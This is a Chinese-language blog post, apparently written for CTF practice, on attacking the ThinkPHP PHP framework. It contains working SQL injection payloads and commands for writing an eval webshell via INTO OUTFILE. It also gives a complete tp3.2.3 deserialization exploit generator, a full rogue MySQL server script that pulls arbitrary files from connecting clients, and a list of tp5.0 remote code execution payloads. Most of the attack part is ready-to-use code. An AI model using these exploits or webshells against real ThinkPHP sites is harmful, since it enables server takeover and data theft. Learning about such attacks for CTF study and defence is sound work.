

Web_8_thinkphp专题 | Charmersix's Blog
source link: http://charmersix.icu/2023/02/19/web_8_tp/
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.

第一节 认识thinkphp
0x1 php开发框架
为了避免重复造轮子, 这里就出现了PHP开发框架, 只需要装修一下就可以使用
其背后思想为mvc思想
常见的开发框架
thinkphp
开源的PHP框架,为了简化企业级应用开发和敏捷web应用开发而诞生的。遵循apache2开源协议发布。
简洁优秀的开源PHP框架
Laravel
帮你构建一个完美的网络app,每行代码都可以简洁、富于表达力。
MVC基础
指MVC模式的某种框架,强制性地使应用程序的输入、处理和输出分开。使用MVC应用程序被分成三个核心模型:模型、视图、控制器
view(视图)
视图是用户看到的并与之交互的界面, 对老式的web应用程序来说, 视图就是由HTML元素组成的界面
显示数据由视图负责
model(模型)
表示业务规则, 在MVC三个部件中, 模型拥有最多的处理任务. 被模型返回的数据是中立的, 模型与数据格式无关, 这样一个模型能为多个视图提供数据, 由于应用于模型的代码只需写一次就可以被多个视图使用, 所以减少了代码的重复性
数据读取与存储是由模型负责的
controller(控制器)
是指接收用户输入并调用模型和视图去完成用户的需求, 控制器本身不输出任何东西和做任何处理, 它只是接收请求并决定调用哪个模型构件去处理请求, 然后再确定用哪个视图来显示返回的数据
自己写一个PHP框架
首先确定一下框架的主要功能
- 基于pathinfo下的路由监听
- 业务分层, 实现简单的mvc
首先写一个index.php
<?php
echo "i am admin controller<br>";
class admin{
function login($username,$password){
if($username=='admin'&&$password=='admin'){
echo "登陆成功";
}else{
echo "登录失败";
}
}
function logout(){
echo "i am logout function";
}
static function getInstance(){
return new admin();
}
然后新建一个controller目录
//admin.php
<?php
echo "i am admin controller<br>";
class admin{
function login($username,$password){
if($username=='admin'&&$password=='admin'){
echo "登陆成功";
}else{
echo "登录失败";
}
}
function logout(){
echo "i am logout function";
}
static function getInstance(){
return new admin();
}
}
//user.php
<?php
echo "i am user controller";
最终效果:

第二节 thinkphp漏洞
0x1 thinkphp框架下的信息收集
这里我们下载一个thinkphp的3.2.3版本的源码
寻找tp框架的特征
url中寻找特征
thinkphp框架下的url一般是index.php/home/index/index
类型, 个别会省略掉index.php
, 直接是/home/index/index
,这时候我们看到的是三层pathinfo
结构, 就要考虑是thinkphp框架

这时候我们可以修改模块或者控制器的名字, 检查报错信息, 访问http://localhost/index.php/home/charmersix/index
可以看到报错信息的话就可以精确找到thinkphp的版本号了

报错关闭的情况
通过对thinkphp ui的敏感就可以一眼顶针, 看出其框架
使用软路由检测
这里我们可以通过get方式提交pathinfo的值, 这里依旧可以通过修改控制器/方法名来看报错信息

tp的代码执行
show参数可控下的代码执行
假设我们有这样的代码
<?php
namespace Home\Controller;
use Think\Controller;
class IndexController extends Controller{
public function index($n=''){
$this->show('$n');
}
}
可以直接渲染我们提交的n参数

这里我们直接写php代码利用就可以

利用日志文件代码执行
在thinkphp开启debug的情况下会在runtime目录下生成log文件, 文件的名称是以年_月_日.log
来命名的, 所以我们可以爆破文件名
url/Application/Runtime/Logs/Home/y_m_d.log
这时候我们就可以抓包通过bp去爆破隐藏信息

我们就可以得到这样一条接口

执行代码获得flag即可

tp的SQL注入漏洞
在一切开始之前, 我们先看一下我们当前版本thinkphp的官方文档, 在这里
基于where的SQL注入漏洞
thinkphpSQL注入利用姿势: where数组绕过?id[where]=id=1'
例如:?id[where]=id=1 union select 1, (select group_concat(table_name) from information_schema.tables where table_schema=database()), 3, 4 limit 1, 1%23

注释引起的SQL注入漏洞
代码如下:
<?php
namespace Home\Controller;
use Think\Controller;
class IndexController extends Controller{
public function index($id=1){
$user = M('users')->comment($id)->find(intval($id));
$this->show('<p>hello '.$user['username'].'</p>','utf-8');
}
}
在这个框架中, comment将会被/**/
包裹注释掉, 但是, 我们可以输入*/
将注释闭合从而达到SQL注入, 但是这里我们会发现union联合注入是不能用的, 因为在limit后, union是不好用的

这里我们就需要用到一个新姿势: 通过数据库写一句话文件, 然后达到我们想要的效果, 但是前提是数据库必须打开了secure-file-priv
的写入文件权限

然后我们直接写入一句话木马
例如: ?id=1 */ into outfile "/var/www/html/1.php" lines terminated by "<?php eval($_POST[1])?>";%23

木马已经写进去, 直接利用即可

第三节 thinkphp反序列化
thinkphp挖链子
1.寻找可利用的魔术方法, 比较常见的有__destruct/__wakeup
2.继续寻找跳板
3.最终通过其他函数/其他类的属性构造一个函数名可控函数参数可控的链子
4.实现rce
tp3.2版本
tp3.2.3版本下的反序列化漏洞
通过反序列化一个数据库的连接开启一个堆叠, 执行SQL语句, 写入一句话木马
这里我们只需要用这个exp就可以生成一串cookie
<?php
namespace Think\Image\Driver{
use Think\Session\Driver\Memcache;
class Imagick{
private $img;
public function __construct(){
$this->img=new Memcache();
}
}
}
namespace Think\Session\Driver{
use Think\Model;
class Memcache {
protected $handle;
public function __construct(){
$this->handle=new Model();
}
}
}
namespace Think{
use Think\Db\Driver\Mysql;
class Model {
protected $data = array();
protected $db = null;
protected $pk;
public function __construct(){
$this->db=new Mysql();
$this->pk='id';
$this->data[$this->pk] = array(
"table" => 'mysql.user;select "<?php eval($_POST[1]);?>" into outfile "/var/www/html/1.php"# ',
"where" => "1"
);
}
}
}
namespace Think\Db\Driver{
use PDO;
class Mysql{
protected $options = array(
PDO::MYSQL_ATTR_LOCAL_INFILE => true, // 开启才能读取文件
PDO::MYSQL_ATTR_MULTI_STATEMENTS => true //开启堆叠,发现不加这句话也可以
);
protected $config = array(
"debug" => 1,
'hostname' => '127.0.0.1', // 服务器地址
'database' => 'ctfshow', // 数据库名
'username' => 'root', // 用户名
'password' => 'root', // 密码
'hostport' => '3306'
);
}
}
namespace{
use Think\Image\Driver\Imagick;
echo base64_encode(serialize(new Imagick()));
}
我们运行一下这个脚本就可以生成一串base64编码, 然后我们改一下cookie发送即可

然后就可以写入一个1.php的一句话木马

如果这个方法不行, 可以使用远程读文件的姿势
伪造MySQL服务端读取文件
伪造一个MySQL的服务端, 让别人连接的情况下, 可以让别人把本地文件远程发给服务端, 这里虽然是读的服务器文件, 但是其实就相当于我们读的自己客户端的文件, 就相当于一个变相的钓鱼
这里我们还是继续用上边的php脚本+python脚本, 但是上边php脚本的服务器地址需要改成我们自己的云服务器地址
, 端口也需要改成3389
然后我们在云服务器上开始运行这个python脚本, 开始监听
from socket import AF_INET, SOCK_STREAM, error
from asyncore import dispatcher, loop as _asyLoop
from asynchat import async_chat
from struct import Struct
from sys import version_info
from logging import getLogger, INFO, StreamHandler, Formatter
_rouge_mysql_sever_read_file_result = {
}
_rouge_mysql_server_read_file_end = False
def checkVersionPy3():
return not version_info < (3, 0)
def rouge_mysql_sever_read_file(fileName, port, showInfo):
if showInfo:
log = getLogger(__name__)
log.setLevel(INFO)
tmp_format = StreamHandler()
tmp_format.setFormatter(Formatter("%(asctime)s : %(levelname)s : %(message)s"))
log.addHandler(
tmp_format
)
def _infoShow(*args):
if showInfo:
log.info(*args)
# ================================================
# =======No need to change after this lines=======
# ================================================
__author__ = 'Gifts'
__modify__ = 'Morouu'
global _rouge_mysql_sever_read_file_result
class _LastPacket(Exception):
pass
class _OutOfOrder(Exception):
pass
class _MysqlPacket(object):
packet_header = Struct('<Hbb')
packet_header_long = Struct('<Hbbb')
def __init__(self, packet_type, payload):
if isinstance(packet_type, _MysqlPacket):
self.packet_num = packet_type.packet_num + 1
else:
self.packet_num = packet_type
self.payload = payload
def __str__(self):
payload_len = len(self.payload)
if payload_len < 65536:
header = _MysqlPacket.packet_header.pack(payload_len, 0, self.packet_num)
else:
header = _MysqlPacket.packet_header.pack(payload_len & 0xFFFF, payload_len >> 16, 0, self.packet_num)
result = "".join(
(
header.decode("latin1") if checkVersionPy3() else header,
self.payload
)
)
return result
def __repr__(self):
return repr(str(self))
@staticmethod
def parse(raw_data):
packet_num = raw_data[0] if checkVersionPy3() else ord(raw_data[0])
payload = raw_data[1:]
return _MysqlPacket(packet_num, payload.decode("latin1") if checkVersionPy3() else payload)
class _HttpRequestHandler(async_chat):
def __init__(self, addr):
async_chat.__init__(self, sock=addr[0])
self.addr = addr[1]
self.ibuffer = []
self.set_terminator(3)
self.stateList = [b"LEN", b"Auth", b"Data", b"MoreLength", b"File"] if checkVersionPy3() else ["LEN",
"Auth",
"Data",
"MoreLength",
"File"]
self.state = self.stateList[0]
self.sub_state = self.stateList[1]
self.logined = False
self.file = ""
self.push(
_MysqlPacket(
0,
"".join((
'\x0a', # Protocol
'5.6.28-0ubuntu0.14.04.1' + '\0',
'\x2d\x00\x00\x00\x40\x3f\x59\x26\x4b\x2b\x34\x60\x00\xff\xf7\x08\x02\x00\x7f\x80\x15\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x68\x69\x59\x5f\x52\x5f\x63\x55\x60\x64\x53\x52\x00\x6d\x79\x73\x71\x6c\x5f\x6e\x61\x74\x69\x76\x65\x5f\x70\x61\x73\x73\x77\x6f\x72\x64\x00',
)))
)
self.order = 1
self.states = [b'LOGIN', b'CAPS', b'ANY'] if checkVersionPy3() else ['LOGIN', 'CAPS', 'ANY']
def push(self, data):
_infoShow('Pushed: %r', data)
data = str(data)
async_chat.push(self, data.encode("latin1") if checkVersionPy3() else data)
def collect_incoming_data(self, data):
_infoShow('Data recved: %r', data)
self.ibuffer.append(data)
def found_terminator(self):
data = b"".join(self.ibuffer) if checkVersionPy3() else "".join(self.ibuffer)
self.ibuffer = []
if self.state == self.stateList[0]: # LEN
len_bytes = data[0] + 256 * data[1] + 65536 * data[2] + 1 if checkVersionPy3() else ord(
data[0]) + 256 * ord(data[1]) + 65536 * ord(data[2]) + 1
if len_bytes < 65536:
self.set_terminator(len_bytes)
self.state = self.stateList[2] # Data
else:
self.state = self.stateList[3] # MoreLength
elif self.state == self.stateList[3]: # MoreLength
if (checkVersionPy3() and data[0] != b'\0') or data[0] != '\0':
self.push(None)
self.close_when_done()
else:
self.state = self.stateList[2] # Data
elif self.state == self.stateList[2]: # Data
packet = _MysqlPacket.parse(data)
try:
if self.order != packet.packet_num:
raise _OutOfOrder()
else:
# Fix ?
self.order = packet.packet_num + 2
if packet.packet_num == 0:
if packet.payload[0] == '\x03':
_infoShow('Query')
self.set_terminator(3)
self.state = self.stateList[0] # LEN
self.sub_state = self.stateList[4] # File
self.file = fileName.pop(0)
# end
if len(fileName) == 1:
global _rouge_mysql_server_read_file_end
_rouge_mysql_server_read_file_end = True
self.push(_MysqlPacket(
packet,
'\xFB{0}'.format(self.file)
))
elif packet.payload[0] == '\x1b':
_infoShow('SelectDB')
self.push(_MysqlPacket(
packet,
'\xfe\x00\x00\x02\x00'
))
raise _LastPacket()
elif packet.payload[0] in '\x02':
self.push(_MysqlPacket(
packet, '\0\0\0\x02\0\0\0'
))
raise _LastPacket()
elif packet.payload == '\x00\x01':
self.push(None)
self.close_when_done()
else:
raise ValueError()
else:
if self.sub_state == self.stateList[4]: # File
_infoShow('-- result')
# fileContent
_infoShow('Result: %r', data)
if len(data) == 1:
self.push(
_MysqlPacket(packet, '\0\0\0\x02\0\0\0')
)
raise _LastPacket()
else:
self.set_terminator(3)
self.state = self.stateList[0] # LEN
self.order = packet.packet_num + 1
global _rouge_mysql_sever_read_file_result
_rouge_mysql_sever_read_file_result.update(
{self.file: data.encode() if not checkVersionPy3() else data}
)
# test
# print(self.file + ":\n" + content.decode() if checkVersionPy3() else content)
self.close_when_done()
elif self.sub_state == self.stateList[1]: # Auth
self.push(_MysqlPacket(
packet, '\0\0\0\x02\0\0\0'
))
raise _LastPacket()
else:
_infoShow('-- else')
raise ValueError('Unknown packet')
except _LastPacket:
_infoShow('Last packet')
self.state = self.stateList[0] # LEN
self.sub_state = None
self.order = 0
self.set_terminator(3)
except _OutOfOrder:
_infoShow('Out of order')
self.push(None)
self.close_when_done()
else:
_infoShow('Unknown state')
self.push('None')
self.close_when_done()
class _MysqlListener(dispatcher):
def __init__(self, sock=None):
dispatcher.__init__(self, sock)
if not sock:
self.create_socket(AF_INET, SOCK_STREAM)
self.set_reuse_addr()
try:
self.bind(('', port))
except error:
exit()
self.listen(1)
def handle_accept(self):
pair = self.accept()
if pair is not None:
_infoShow('Conn from: %r', pair[1])
_HttpRequestHandler(pair)
if _rouge_mysql_server_read_file_end:
self.close()
_MysqlListener()
_asyLoop()
return _rouge_mysql_sever_read_file_result
if __name__ == '__main__':
for name, content in rouge_mysql_sever_read_file(fileName=["/flag_is_here", "/etc/hosts"], port=3389,showInfo=True).items():
print(name + ":\n" + content.decode())
tp5.0版本
未开启强制路由导致的rce
最高版本支持到5.0.23
常见payload:
?s=index/think\Request/input&filter=system&data=dir
?s=index/think\Request/input&filter[]=system&data=pwd
?s=index/think\view\driver\Php/display&content=<?php phpinfo();?>
?s=index/think\template\driver\file/write&cacheFile=shell.php&content<?php phpinfo();?>
?s=index/think\Container/invokefunction&function=call_user_func&vars[]=system&vars[]=dir
?s=index/think\Container/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami
?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami

变量覆盖导致的rce
参考例子:
public function index($name='',$from='ctfshow'){
$this->assign($name,$from);//标记一个变量
$this->display('index');//显示index模板
}
在手册中, 我们可以看到这样的使用方式

payload:
?name=_content&from=<?php system("cat /f*")?>

直接载入php模板执行代码
tp5.1版本
tp5.1反序列化rce
推荐文章
Recommend
About Joyk
Aggregate valuable and interesting links.
Joyk means Joy of geeK